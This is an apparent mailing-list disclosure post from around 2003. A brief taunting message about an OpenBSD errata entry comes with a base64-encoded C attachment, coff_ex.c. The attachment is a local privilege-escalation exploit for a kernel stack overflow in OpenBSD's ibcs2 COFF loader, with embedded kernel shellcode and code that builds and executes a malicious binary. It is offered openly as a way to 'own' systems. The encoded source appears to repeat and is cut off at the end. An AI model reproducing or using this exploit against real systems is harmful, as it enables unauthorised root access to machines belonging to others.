|
---559023410-851401618-1069180443=:685 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: <Pine.GSO.4.44.0311181334412.824@sodom.uberhax0r.net> once again i am honored to present you a generic and robust way to own OpenBSD 2.x-3.x, enjoy ;) it is quite funny to name ring 0 overflow patches as "reliability fixes". who does theo thinks he is fooling ? kiddies in his cult ? you can patch your useless/old openbsd systems by visiting; http://www.gentoo.org http://www.grsecurity.net - noir from http://www.wideopenbsd.org/errata.html All architectures 005: RELIABILITY FIX: November 4, 2003 It is possible for a local user to cause a system panic by executing a specially crafted binary with an invalid header. A source code patch exists which remedies the problem. reliability ??? ehh ;-P yeah yeah right! ---559023410-851401618-1069180443=:685 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="coff_ex.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.GSO.4.44.0311181307291.685@sodom.uberhax0r.net> Content-Description: Content-Disposition: ATTACHMENT; FILENAME="coff_ex.c" LyoqIE9wZW5CU0QgMi54IC0gMy4zCQkJCQkJICoqLw0KLyoqIGV4ZWNfaWJj czJfY29mZl9wcmVwX3ptYWdpYygpIGtlcm5lbCBzdGFjayBvdmVyZmxvdwkJ ICoqLyANCi8qKiBub3RlOiBpYmNzMiBiaW5hcnkgY29tcGF0aWJpbGl0eSB3 aXRoIFNDTyBhbmQgSVNDIGlzIGVuYWJsZWQgKiovDQovKiogaW4gdGhlIGRl ZmF1bHQgaW5zdGFsbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICoqLw0KDQovKiogCUNvcHlyaWdodCBGZWIgMjYgMjAwMyBTaW5h biAibm9pciIgRXJlbiAJCSAqKi8gDQovKioJbm9pckBvbHltcG9zLm9yZyB8 IG5vaXJAdWJlcmhheDByLm5ldAkJCSAqKi8NCg0KLyoqCWdyZWV0cyB0byBi cm90aGVyIG5haHVhbCBmb3IgbWFraW5nIHRoaXMgdXNlZnVsbCEJICoqLyAN Cg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+ DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNp bmNsdWRlIDxzeXMvcGFyYW0uaD4NCiNpbmNsdWRlIDxzeXMvc3lzY3RsLmg+ DQojaW5jbHVkZSA8c3lzL3NpZ25hbC5oPg0KDQovLyNpbmNsdWRlICJpYmNz Ml9leGVjLmgiDQoNCi8qIGtlcm5lbF9zYy5zIHNoZWxsY29kZSAqLw0KLyog bXVjaCBpbXByb3ZlZCB0aGUgb3Bjb2RlIHNlYXJjaCwgZml4ZWQgdGhlIHN0 dXBpZCBsb2dpYyBidWchICovDQoNCnVuc2lnbmVkIGNoYXIgc2hlbGxjb2Rl W10gPQ0KIlx4ZThceDBmXHgwMFx4MDBceDAwXHg3OFx4NTZceDM0XHgxMlx4 ZmVceGNhXHhhZFx4ZGVceGFkXHhkZVx4ZWZceGJlIg0KIlx4OTBceDkwXHg5 MFx4NWZceDhiXHgwZlx4OGJceDU5XHgxMFx4MzFceGMwXHg4OVx4NDNceDA0 XHg4Ylx4MTNceDg5Ig0KIlx4NDJceDA0XHg4Ylx4NTFceDE0XHg4OVx4NDJc eDBjXHg4ZFx4NmNceDI0XHg2OFx4MGZceDAxXHg0Zlx4MDRceDhiIg0KIlx4 NWZceDA2XHg4Ylx4OTNceDAwXHgwNFx4MDBceDAwXHg4Ylx4OGJceDA0XHgw NFx4MDBceDAwXHhjMVx4ZTlceDEwIg0KIlx4YzFceGUxXHgxMFx4YzFceGUy XHgxMFx4YzFceGVhXHgxMFx4MDlceGNhXHgzMVx4YzlceDQxXHg4YVx4MWNc eDBhIg0KIlx4ODBceGZiXHhlOFx4NzVceGY3XHg4ZFx4MWNceDBhXHg0MVx4 OGJceDBjXHgwYVx4ODNceGMxXHgwNVx4MDFceGQ5Ig0KIlx4ODlceGNmXHhi MFx4ZmZceGZjXHhiOVx4ZmZceGZmXHhmZlx4ZmZceGYyXHhhZVx4OGFceDFm XHg4MFx4ZmJceGQwIg0KIlx4NzVceGVmXHg0N1x4MzFceGMwXHg1N1x4YzMi Ow0KDQovKiBkbyBub3QgdXNlISAqLw0KLyogDQpzaWx2aW8gZ290dGEgZ2V0 IGhpcyBicmFpbiB0b2dldGhlciBhbmQgdW5kZXJzdGFuZCB3aHkgc29tZXRp bWVzDQp5b3UgbmVlZCB0byByZXR1cm4gdG8ga2VybmVsIGNvZGUgcmF0aGVy IHRoYW4gc2V0dGluZyB0aGUgc2VsZWN0b3JzDQpwdXNoaW5nIHNzLGVzcCxl ZmxhZyxjcyxlaXAgYW5kIGRvIGFuIGlyZXQhIA0KDQp3ZWxsLCBhbG9oYT8/ IHZub2RlIGxvY2tzIGJlaW5nIGhlbGQgPyBtdXRleCBsb2NrcyBiZWluZyBo ZWxkID8gDQp5b3UgaGF2ZSB0byByZXR1cm4gdG8gdGhlIGtlcm5lbCBjb2Rl IHRoYXQgdW5sb2NrcyB0aGUgc3luY3Jvbml6YXRpb24NCm9iamVjdHMNCg0K Ki8NCg0KdW5zaWduZWQgY2hhciBpcmV0X3NoZWxsY29kZVtdID0NCiJceGU4 XHgwZlx4MDBceDAwXHgwMFx4NzhceDU2XHgzNFx4MTJceGZlXHhjYVx4YWRc eGRlXHhhZFx4ZGVceGVmXHhiZSINCiJceDkwXHg5MFx4OTBceDVmXHg4Ylx4 MGZceDhiXHg1OVx4MTBceDMxXHhjMFx4ODlceDQzXHgwNFx4OGJceDEzXHg4 OSINCiJceDQyXHgwNFx4OGJceDUxXHgxNFx4ODlceDQyXHgwY1x4ZmFceDZh XHgxZlx4MDdceDZhXHgxZlx4MWZceDZhXHgwMCINCiJceDVmXHg2YVx4MDBc eDVlXHg2OFx4MDBceGQwXHhiZlx4ZGZceDVkXHg2YVx4MDBceDViXHg2YVx4 MDBceDVhXHg2YSINCiJceDAwXHg1OVx4NmFceDAwXHg1OFx4NmFceDFmXHg2 OFx4MDBceGQwXHhiZlx4ZGZceDY4XHg4N1x4MDJceDAwXHgwMCINCiJceDZh XHgxNyI7DQoNCnVuc2lnbmVkIGNoYXIgcHVzaGVpcFtdID0NCiJceDY4XHgw MFx4MDBceDAwXHgwMCI7IC8qIGZpbGwgZWlwICovDQoNCnVuc2lnbmVkIGNo YXIgaXJldFtdID0NCiJceGNmIjsNCg0KdW5zaWduZWQgY2hhciBleGl0c2hb XSA9DQoiXHgzMVx4YzBceGNkXHg4MFx4Y2MiOyAvKiB4b3JsICVlYXgsJWVh eCwgaW50ICQweDgwLCBpbnQzICovDQoNCg0KI2RlZmluZSBaRVJPKHApIG1l bXNldCgmcCwgMHgwMCwgc2l6ZW9mKHApKQ0KDQovKg0KICogQ09GRiBmaWxl IGhlYWRlcg0KICovDQoNCnN0cnVjdCBjb2ZmX2ZpbGVoZHIgew0KICAgIHVf c2hvcnQgICAgIGZfbWFnaWM7ICAgICAgICAvKiBtYWdpYyBudW1iZXIgKi8N CiAgICB1X3Nob3J0ICAgICBmX25zY25zOyAgICAgICAgLyogIyBvZiBzZWN0 aW9ucyAqLw0KICAgIGxvbmcgICAgICAgIGZfdGltZGF0OyAgICAgICAvKiB0 aW1lc3RhbXAgKi8NCiAgICBsb25nICAgICAgICBmX3N5bXB0cjsgICAgICAg LyogZmlsZSBvZmZzZXQgb2Ygc3ltYm9sIHRhYmxlICovDQogICAgbG9uZyAg ICAgICAgZl9uc3ltczsgICAgICAgIC8qICMgb2Ygc3ltYm9sIHRhYmxlIGVu dHJpZXMgKi8NCiAgICB1X3Nob3J0ICAgICBmX29wdGhkcjsgICAgICAgLyog c2l6ZSBvZiBvcHRpb25hbCBoZWFkZXIgKi8NCiAgICB1X3Nob3J0ICAgICBm X2ZsYWdzOyAgICAgICAgLyogZmxhZ3MgKi8NCn07DQoNCi8qIGZfbWFnaWMg ZmxhZ3MgKi8NCiNkZWZpbmUgQ09GRl9NQUdJQ19JMzg2IDB4MTRjDQoNCi8q IGZfZmxhZ3MgKi8NCiNkZWZpbmUgQ09GRl9GX1JFTEZMRyAgIDB4MQ0KI2Rl ZmluZSBDT0ZGX0ZfRVhFQyAgICAgMHgyDQojZGVmaW5lIENPRkZfRl9MTk5P ICAgICAweDQNCiNkZWZpbmUgQ09GRl9GX0xTWU1TICAgIDB4OA0KI2RlZmlu ZSBDT0ZGX0ZfU1dBQkQgICAgMHg0MA0KI2RlZmluZSBDT0ZGX0ZfQVIxNldS ICAgMHg4MA0KI2RlZmluZSBDT0ZGX0ZfQVIzMldSICAgMHgxMDANCg0KLyoN CiAqIENPRkYgc3lzdGVtIGhlYWRlcg0KICovDQoNCnN0cnVjdCBjb2ZmX2Fv dXRoZHIgew0KICAgIHNob3J0ICAgICAgIGFfbWFnaWM7DQogICAgc2hvcnQg ICAgICAgYV92c3RhbXA7DQogICAgbG9uZyAgICAgICAgYV90c2l6ZTsNCiAg ICBsb25nICAgICAgICBhX2RzaXplOw0KICAgIGxvbmcgICAgICAgIGFfYnNp emU7DQogICAgbG9uZyAgICAgICAgYV9lbnRyeTsNCiAgICBsb25nICAgICAg ICBhX3RzdGFydDsNCiAgICBsb25nICAgICAgICBhX2RzdGFydDsNCn07DQoN Ci8qIG1hZ2ljICovDQojZGVmaW5lIENPRkZfWk1BR0lDICAgICAwNDEzDQoN Ci8qDQogKiBDT0ZGIHNlY3Rpb24gaGVhZGVyDQogKi8NCg0Kc3RydWN0IGNv ZmZfc2NuaGRyIHsNCiAgICBjaGFyICAgICAgICBzX25hbWVbOF07DQogICAg bG9uZyAgICAgICAgc19wYWRkcjsNCiAgICBsb25nICAgICAgICBzX3ZhZGRy Ow0KICAgIGxvbmcgICAgICAgIHNfc2l6ZTsNCiAgICBsb25nICAgICAgICBz X3NjbnB0cjsNCiAgICBsb25nICAgICAgICBzX3JlbHB0cjsNCiAgICBsb25n ICAgICAgICBzX2xubm9wdHI7DQogICAgdV9zaG9ydCAgICAgc19ucmVsb2M7 DQogICAgdV9zaG9ydCAgICAgc19ubG5ubzsNCiAgICBsb25nICAgICAgICBz X2ZsYWdzOw0KfTsNCg0KLyogc19mbGFncyAqLw0KI2RlZmluZSBDT0ZGX1NU WVBfVEVYVCAgICAgICAgICAweDIwDQojZGVmaW5lIENPRkZfU1RZUF9EQVRB ICAgICAgICAgIDB4NDANCiNkZWZpbmUgQ09GRl9TVFlQX1NITElCICAgICAg ICAgMHg4MDANCg0KDQp2b2lkIGdldF9wcm9jKHBpZF90LCBzdHJ1Y3Qga2lu Zm9fcHJvYyAqKTsNCnZvaWQgc2lnX2hhbmRsZXIoKTsNCg0KaW50DQptYWlu KGludCBhcmdjLCBjaGFyICoqYXJndikNCnsNCiAgdV9pbnQgaSwgZmQsIGRl YnVnID0gMDsNCiAgdV9jaGFyICpwdHIsICpzaHB0cjsNCiAgdV9sb25nICps cHRyOw0KICB1X2xvbmcgcHByb2NhZHIsIG9mZnNldDsNCiAgc3RydWN0IGtp bmZvX3Byb2Mga3A7DQogIGNoYXIgKmFyZ3NbXSA9IHsgIi4vaWJjczJvd24i LCBOVUxMfTsNCiAgY2hhciAqZW52c1tdID0geyAiUklQPXRoZW8iLCBOVUxM fTsNCiAgLy9DT0ZGIHN0cnVjdHVyZXMNCiAgc3RydWN0IGNvZmZfZmlsZWhk ciBmaGRyOw0KICBzdHJ1Y3QgY29mZl9hb3V0aGRyIGFoZHI7DQogIHN0cnVj dCBjb2ZmX3NjbmhkciAgc2NuMCwgc2NuMSwgc2NuMjsNCg0KICAgaWYoYXJn dlsxXSkgew0KICAgICAgaWYoIXN0cm5jbXAoYXJndlsxXSwgIi12IiwgMikp IA0KICAgICAgICAgICAgICBkZWJ1ZyA9IDE7DQogICAgICBlbHNlIHsgDQoJ ICAgICAgcHJpbnRmKCItdjogdmVyYm9zZSBmbGFnIG9ubHlcbiIpOw0KCSAg ICAgIGV4aXQoMCk7DQogICAgICAgICAgICB9DQogICAgfQ0KIA0KICAgIFpF Uk8oZmhkcik7DQogICAgZmhkci5mX21hZ2ljID0gQ09GRl9NQUdJQ19JMzg2 Ow0KICAgIGZoZHIuZl9uc2NucyA9IDM7IC8vVEVYVCwgREFUQSwgU0hMSUIN CiAgICBmaGRyLmZfdGltZGF0ID0gMHhkZWFkYmVlZjsNCiAgICBmaGRyLmZf c3ltcHRyID0gMHg0MDAwOw0KICAgIGZoZHIuZl9uc3ltcyA9IDE7DQogICAg Zmhkci5mX29wdGhkciA9IHNpemVvZihhaGRyKTsgLy9BT1VUIG9wdCBoZWFk ZXIgc2l6ZQ0KICAgIGZoZHIuZl9mbGFncyA9IENPRkZfRl9FWEVDOw0KDQog ICAgWkVSTyhhaGRyKTsNCiAgICBhaGRyLmFfbWFnaWMgPSBDT0ZGX1pNQUdJ QzsNCiAgICBhaGRyLmFfdHNpemUgPSAwOw0KICAgIGFoZHIuYV9kc2l6ZSA9 IDA7IA0KICAgIGFoZHIuYV9ic2l6ZSA9IDA7DQogICAgYWhkci5hX2VudHJ5 ID0gMHgxMDAwMDsNCiAgICBhaGRyLmFfdHN0YXJ0ID0gMDsNCiAgICBhaGRy LmFfZHN0YXJ0ID0gMDsNCiAgIA0KICAgIFpFUk8oc2NuMCk7DQogICAgbWVt Y3B5KCZzY24wLnNfbmFtZSwgIi50ZXh0IiwgNSk7DQogICAgc2NuMC5zX3Bh ZGRyID0gMHgxMDAwMDsNCiAgICBzY24wLnNfdmFkZHIgPSAweDEwMDAwOw0K ICAgIHNjbjAuc19zaXplID0gNDA5NjsNCiAgICBzY24wLnNfc2NucHRyID0g c2l6ZW9mKGZoZHIpICsgc2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSoz KTsgDQogICAgLy9maWxlIG9mZnNldCBvZiAudGV4dCBzZWdtZW50DQogICAg c2NuMC5zX3JlbHB0ciA9IDA7DQogICAgc2NuMC5zX2xubm9wdHIgPSAwOw0K ICAgIHNjbjAuc19ucmVsb2MgPSAwOw0KICAgIHNjbjAuc19ubG5ubyA9IDA7 DQogICAgc2NuMC5zX2ZsYWdzID0gQ09GRl9TVFlQX1RFWFQ7DQoNCiAgICBa RVJPKHNjbjEpOw0KICAgIG1lbWNweSgmc2NuMS5zX25hbWUsICIuZGF0YSIs IDUpOw0KICAgIHNjbjEuc19wYWRkciA9IDB4MTAwMDAgLSA0MDk2Ow0KICAg IHNjbjEuc192YWRkciA9IDB4MTAwMDAgLSA0MDk2Ow0KICAgIHNjbjEuc19z aXplID0gNDA5NjsNCiAgICBzY24xLnNfc2NucHRyID0gc2l6ZW9mKGZoZHIp ICsgc2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSozKSArIDQwOTY7IA0K ICAgIC8vZmlsZSBvZmZzZXQgb2YgLmRhdGEgc2VnbWVudA0KICAgIHNjbjEu c19yZWxwdHIgPSAwOw0KICAgIHNjbjEuc19sbm5vcHRyID0gMDsNCiAgICBz Y24xLnNfbnJlbG9jID0gMDsNCiAgICBzY24xLnNfbmxubm8gPSAwOw0KICAg IHNjbjEuc19mbGFncyA9IENPRkZfU1RZUF9EQVRBOw0KDQogICAgWkVSTyhz Y24yKTsNCiAgICBtZW1jcHkoJnNjbjIuc19uYW1lLCAiLnNobGliIiwgNik7 DQogICAgc2NuMi5zX3BhZGRyID0gMDsNCiAgICBzY24yLnNfdmFkZHIgPSAw Ow0KICAgIHNjbjIuc19zaXplID0gMHhiMDsgLy9IRVJFIElTIERBIE9WRiEh ISBzdGF0aWNfYnVmZmVyID0gMTI4DQogICAgc2NuMi5zX3NjbnB0ciA9IHNp emVvZihmaGRyKSArIHNpemVvZihhaGRyKSArIChzaXplb2Yoc2NuMCkqMykg KyAyKjQwOTY7IA0KICAgIC8vZmlsZSBvZmZzZXQgb2YgLmRhdGEgc2VnbWVu dA0KICAgIHNjbjIuc19yZWxwdHIgPSAwOw0KICAgIHNjbjIuc19sbm5vcHRy ID0gMDsNCiAgICBzY24yLnNfbnJlbG9jID0gMDsNCiAgICBzY24yLnNfbmxu bm8gPSAwOw0KICAgIHNjbjIuc19mbGFncyA9IENPRkZfU1RZUF9TSExJQjsN Cg0KICAgIG9mZnNldCA9IHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSAr IChzaXplb2Yoc2NuMCkqMykgKyAzKjQwOTY7DQogICAgcHRyID0gKGNoYXIg KikgbWFsbG9jKG9mZnNldCk7DQogICAgaWYoIXB0cikgeyANCgkJcGVycm9y KCJtYWxsb2MiKTsNCgkJZXhpdCgtMSk7DQogICAgfQ0KDQogICAgbWVtc2V0 KHB0ciwgMHhjYywgb2Zmc2V0KTsgIC8qIGZpbGwgaW50MyAqLw0KDQogICAg LyogY29weSBzZWN0aW9ucyAqLw0KICAgIG9mZnNldCA9IDA7DQogICAgbWVt Y3B5KHB0ciwgKGNoYXIgKikgJmZoZHIsIHNpemVvZihmaGRyKSk7DQogICAg b2Zmc2V0ICs9IHNpemVvZihmaGRyKTsNCg0KICAgIG1lbWNweShwdHIrb2Zm c2V0LCAoY2hhciAqKSAmYWhkciwgc2l6ZW9mKGFoZHIpKTsgDQogICAgb2Zm c2V0ICs9IHNpemVvZihhaGRyKTsNCgkNCiAgICBtZW1jcHkocHRyK29mZnNl dCwgKGNoYXIgKikgJnNjbjAsIHNpemVvZihzY24wKSk7DQogICAgb2Zmc2V0 ICs9IHNpemVvZihzY24wKTsNCg0KICAgIG1lbWNweShwdHIrb2Zmc2V0LCAm c2NuMSwgc2l6ZW9mKHNjbjEpKTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKHNj bjEpOw0KDQogICAgbWVtY3B5KHB0citvZmZzZXQsIChjaGFyICopICZzY24y LCBzaXplb2Yoc2NuMikpOw0KICAgIG9mZnNldCArPSBzaXplb2Yoc2NuMik7 DQoNCiAgICBscHRyID0gKHVfbG9uZyAqKSAoKGNoYXIgKilwdHIgKyBzaXpl b2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyBcDQogICAgICAgICAgIChzaXpl b2Yoc2NuMCkgKiAzKSArIDQwOTYgKyA0MDk2ICsgMHhiMCAtIDgpOw0KDQog ICAgc2hwdHIgPSAoY2hhciAqKSBtYWxsb2MoNDA5Nik7DQogICAgaWYoIXNo cHRyKSB7DQoJCXBlcnJvcigibWFsbG9jIik7DQoJCWV4aXQoLTEpOw0KICAg IH0NCiAgICBpZihkZWJ1ZykNCiAgICAgIHByaW50ZigicGF5bG9hZCBhZHI6 IDB4JS44eFx0Iiwgc2hwdHIpOw0KDQogICAgbWVtc2V0KHNocHRyLCAweGNj LCA0MDk2KTsNCg0KICAgIGdldF9wcm9jKChwaWRfdCkgZ2V0cHBpZCgpLCAm a3ApOw0KICAgIHBwcm9jYWRyID0gKHVfbG9uZykga3Aua3BfZXByb2MuZV9w YWRkcjsNCiAgICBpZihkZWJ1ZykNCiAgICAgIHByaW50ZigicGFyZW50IHBy b2MgYWRyOiAweCUuOHhcbiIsIHBwcm9jYWRyKTsgDQoNCiAgICAqbHB0cisr ID0gMHhkZWFkYmVlZjsNCiAgICAqbHB0ciA9ICh1X2xvbmcpIHNocHRyOw0K DQogICAgc2hlbGxjb2RlWzVdID0gcHByb2NhZHIgJiAweGZmOw0KICAgIHNo ZWxsY29kZVs2XSA9IChwcHJvY2FkciA+PiA4KSAmIDB4ZmY7DQogICAgc2hl bGxjb2RlWzddID0gKHBwcm9jYWRyID4+IDE2KSAmIDB4ZmY7DQogICAgc2hl bGxjb2RlWzhdID0gKHBwcm9jYWRyID4+IDI0KSAmIDB4ZmY7DQoNCiAgICBt ZW1jcHkoc2hwdHIsIHNoZWxsY29kZSwgc2l6ZW9mKHNoZWxsY29kZSktMSk7 DQoNCiAgICB1bmxpbmsoIi4vaWJjczJvd24iKTsNCiAgICBpZigoZmQgPSBv cGVuKCIuL2liY3Myb3duIiwgT19DUkVBVF5PX1JEV1IsIDA3NTUpKSA8IDAp IHsNCgkJcGVycm9yKCJvcGVuIik7DQoJCWV4aXQoLTEpOw0KCX0NCg0KICAg IHdyaXRlKGZkLCBwdHIsIHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSAr IChzaXplb2Yoc2NuMCkgKiAzKSArIDQwOTYgKyA0MDk2ICsgNDA5Nik7DQog ICAgY2xvc2UoZmQpOw0KICAgIGZyZWUocHRyKTsNCg0KICAgIHNpZ25hbChT SUdTRUdWLCAodm9pZCAoKikoKSlzaWdfaGFuZGxlcik7DQogICAgc2lnbmFs KFNJR0lMTCwgKHZvaWQgKCopKCkpc2lnX2hhbmRsZXIpOw0KICAgIHNpZ25h bChTSUdTWVMsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVyKTsNCiAgICBzaWdu YWwoU0lHQlVTLCAodm9pZCAoKikoKSlzaWdfaGFuZGxlcik7DQogICAgc2ln bmFsKFNJR0FCUlQsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVyKTsNCiAgICBz aWduYWwoU0lHVFJBUCwgKHZvaWQgKCopKCkpc2lnX2hhbmRsZXIpOw0KDQog ICAgcHJpbnRmKCJcbkRPIE5PVCBGT1JHRVQgVE8gU0hSRUQgLi9pYmNzMm93 blxuIik7DQogICAgZXhlY3ZlKGFyZ3NbMF0sIGFyZ3MsIGVudnMpOw0KICAg IHBlcnJvcigiZXhlY3ZlIik7DQp9DQoNCnZvaWQNCnNpZ19oYW5kbGVyKCkN CnsNCiAgIF9leGl0KDApOw0KfQ0KDQp2b2lkDQpnZXRfcHJvYyhwaWRfdCBw aWQsIHN0cnVjdCBraW5mb19wcm9jICprcCkNCnsNCiAgIHVfaW50IGFycls0 XSwgbGVuOw0KDQogICAgICAgIGFyclswXSA9IENUTF9LRVJOOw0KICAgICAg ICBhcnJbMV0gPSBLRVJOX1BST0M7DQogICAgICAgIGFyclsyXSA9IEtFUk5f UFJPQ19QSUQ7DQogICAgICAgIGFyclszXSA9IHBpZDsNCiAgICAgICAgbGVu ID0gc2l6ZW9mKHN0cnVjdCBraW5mb19wcm9jKTsNCiAgICAgICAgaWYoc3lz Y3RsKGFyciwgNCwga3AsICZsZW4sIE5VTEwsIDApIDwgMCkgew0KICAgICAg ICAgICAgICAgIHBlcnJvcigic3lzY3RsIik7DQogICAgICAgICAgICAgICAg ZnByaW50ZihzdGRlcnIsICJ0aGlzIGlzIGFuIHVuZXhwZWN0ZWQgZXJyb3Is IHJlcnVuIVxuIik7DQogICAgICAgICAgICAgICAgZXhpdCgtMSk7DQogICAg ICAgIH0NCg0KfQ0KDQovKiogT3BlbkJTRCAyLnggLSAzLjMJCQkJCQkgKiov DQovKiogZXhlY19pYmNzMl9jb2ZmX3ByZXBfem1hZ2ljKCkga2VybmVsIHN0 YWNrIG92ZXJmbG93CQkgKiovIA0KLyoqIG5vdGU6IGliY3MyIGJpbmFyeSBj b21wYXRpYmlsaXR5IHdpdGggU0NPIGFuZCBJU0MgaXMgZW5hYmxlZCAqKi8N Ci8qKiBpbiB0aGUgZGVmYXVsdCBpbnN0YWxsICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgKiovDQoNCi8qKiAJQ29weXJpZ2h0IEZl YiAyNiAyMDAzIFNpbmFuICJub2lyIiBFcmVuIAkJICoqLyANCi8qKglub2ly QG9seW1wb3Mub3JnIHwgbm9pckB1YmVyaGF4MHIubmV0CQkJICoqLw0KDQov KioJZ3JlZXRzIHRvIGJyb3RoZXIgbmFodWFsIGZvciBtYWtpbmcgdGhpcyB1 c2VmdWxsIQkgKiovIA0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRl IDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0KI2luY2x1ZGUg PHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy9wYXJhbS5oPg0KI2luY2x1ZGUg PHN5cy9zeXNjdGwuaD4NCiNpbmNsdWRlIDxzeXMvc2lnbmFsLmg+DQoNCi8v I2luY2x1ZGUgImliY3MyX2V4ZWMuaCINCg0KLyoga2VybmVsX3NjLnMgc2hl bGxjb2RlICovDQovKiBtdWNoIGltcHJvdmVkIHRoZSBvcGNvZGUgc2VhcmNo LCBmaXhlZCB0aGUgc3R1cGlkIGxvZ2ljIGJ1ZyEgKi8NCg0KdW5zaWduZWQg Y2hhciBzaGVsbGNvZGVbXSA9DQoiXHhlOFx4MGZceDAwXHgwMFx4MDBceDc4 XHg1Nlx4MzRceDEyXHhmZVx4Y2FceGFkXHhkZVx4YWRceGRlXHhlZlx4YmUi DQoiXHg5MFx4OTBceDkwXHg1Zlx4OGJceDBmXHg4Ylx4NTlceDEwXHgzMVx4 YzBceDg5XHg0M1x4MDRceDhiXHgxM1x4ODkiDQoiXHg0Mlx4MDRceDhiXHg1 MVx4MTRceDg5XHg0Mlx4MGNceDhkXHg2Y1x4MjRceDY4XHgwZlx4MDFceDRm XHgwNFx4OGIiDQoiXHg1Zlx4MDZceDhiXHg5M1x4MDBceDA0XHgwMFx4MDBc eDhiXHg4Ylx4MDRceDA0XHgwMFx4MDBceGMxXHhlOVx4MTAiDQoiXHhjMVx4 ZTFceDEwXHhjMVx4ZTJceDEwXHhjMVx4ZWFceDEwXHgwOVx4Y2FceDMxXHhj OVx4NDFceDhhXHgxY1x4MGEiDQoiXHg4MFx4ZmJceGU4XHg3NVx4ZjdceDhk XHgxY1x4MGFceDQxXHg4Ylx4MGNceDBhXHg4M1x4YzFceDA1XHgwMVx4ZDki DQoiXHg4OVx4Y2ZceGIwXHhmZlx4ZmNceGI5XHhmZlx4ZmZceGZmXHhmZlx4 ZjJceGFlXHg4YVx4MWZceDgwXHhmYlx4ZDAiDQoiXHg3NVx4ZWZceDQ3XHgz MVx4YzBceDU3XHhjMyI7DQoNCi8qIGRvIG5vdCB1c2UhICovDQovKiANCnNp bHZpbyBnb3R0YSBnZXQgaGlzIGJyYWluIHRvZ2V0aGVyIGFuZCB1bmRlcnN0 YW5kIHdoeSBzb21ldGltZXMNCnlvdSBuZWVkIHRvIHJldHVybiB0byBrZXJu ZWwgY29kZSByYXRoZXIgdGhhbiBzZXR0aW5nIHRoZSBzZWxlY3RvcnMNCnB1 c2hpbmcgc3MsZXNwLGVmbGFnLGNzLGVpcCBhbmQgZG8gYW4gaXJldCEgDQoN CndlbGwsIGFsb2hhPz8gdm5vZGUgbG9ja3MgYmVpbmcgaGVsZCA/IG11dGV4 IGxvY2tzIGJlaW5nIGhlbGQgPyANCnlvdSBoYXZlIHRvIHJldHVybiB0byB0 aGUga2VybmVsIGNvZGUgdGhhdCB1bmxvY2tzIHRoZSBzeW5jcm9uaXphdGlv bg0Kb2JqZWN0cw0KDQoqLw0KDQp1bnNpZ25lZCBjaGFyIGlyZXRfc2hlbGxj b2RlW10gPQ0KIlx4ZThceDBmXHgwMFx4MDBceDAwXHg3OFx4NTZceDM0XHgx Mlx4ZmVceGNhXHhhZFx4ZGVceGFkXHhkZVx4ZWZceGJlIg0KIlx4OTBceDkw XHg5MFx4NWZceDhiXHgwZlx4OGJceDU5XHgxMFx4MzFceGMwXHg4OVx4NDNc eDA0XHg4Ylx4MTNceDg5Ig0KIlx4NDJceDA0XHg4Ylx4NTFceDE0XHg4OVx4 NDJceDBjXHhmYVx4NmFceDFmXHgwN1x4NmFceDFmXHgxZlx4NmFceDAwIg0K Ilx4NWZceDZhXHgwMFx4NWVceDY4XHgwMFx4ZDBceGJmXHhkZlx4NWRceDZh XHgwMFx4NWJceDZhXHgwMFx4NWFceDZhIg0KIlx4MDBceDU5XHg2YVx4MDBc eDU4XHg2YVx4MWZceDY4XHgwMFx4ZDBceGJmXHhkZlx4NjhceDg3XHgwMlx4 MDBceDAwIg0KIlx4NmFceDE3IjsNCg0KdW5zaWduZWQgY2hhciBwdXNoZWlw W10gPQ0KIlx4NjhceDAwXHgwMFx4MDBceDAwIjsgLyogZmlsbCBlaXAgKi8N Cg0KdW5zaWduZWQgY2hhciBpcmV0W10gPQ0KIlx4Y2YiOw0KDQp1bnNpZ25l ZCBjaGFyIGV4aXRzaFtdID0NCiJceDMxXHhjMFx4Y2RceDgwXHhjYyI7IC8q IHhvcmwgJWVheCwlZWF4LCBpbnQgJDB4ODAsIGludDMgKi8NCg0KDQojZGVm aW5lIFpFUk8ocCkgbWVtc2V0KCZwLCAweDAwLCBzaXplb2YocCkpDQoNCi8q DQogKiBDT0ZGIGZpbGUgaGVhZGVyDQogKi8NCg0Kc3RydWN0IGNvZmZfZmls ZWhkciB7DQogICAgdV9zaG9ydCAgICAgZl9tYWdpYzsgICAgICAgIC8qIG1h Z2ljIG51bWJlciAqLw0KICAgIHVfc2hvcnQgICAgIGZfbnNjbnM7ICAgICAg ICAvKiAjIG9mIHNlY3Rpb25zICovDQogICAgbG9uZyAgICAgICAgZl90aW1k YXQ7ICAgICAgIC8qIHRpbWVzdGFtcCAqLw0KICAgIGxvbmcgICAgICAgIGZf c3ltcHRyOyAgICAgICAvKiBmaWxlIG9mZnNldCBvZiBzeW1ib2wgdGFibGUg Ki8NCiAgICBsb25nICAgICAgICBmX25zeW1zOyAgICAgICAgLyogIyBvZiBz eW1ib2wgdGFibGUgZW50cmllcyAqLw0KICAgIHVfc2hvcnQgICAgIGZfb3B0 aGRyOyAgICAgICAvKiBzaXplIG9mIG9wdGlvbmFsIGhlYWRlciAqLw0KICAg IHVfc2hvcnQgICAgIGZfZmxhZ3M7ICAgICAgICAvKiBmbGFncyAqLw0KfTsN Cg0KLyogZl9tYWdpYyBmbGFncyAqLw0KI2RlZmluZSBDT0ZGX01BR0lDX0kz ODYgMHgxNGMNCg0KLyogZl9mbGFncyAqLw0KI2RlZmluZSBDT0ZGX0ZfUkVM 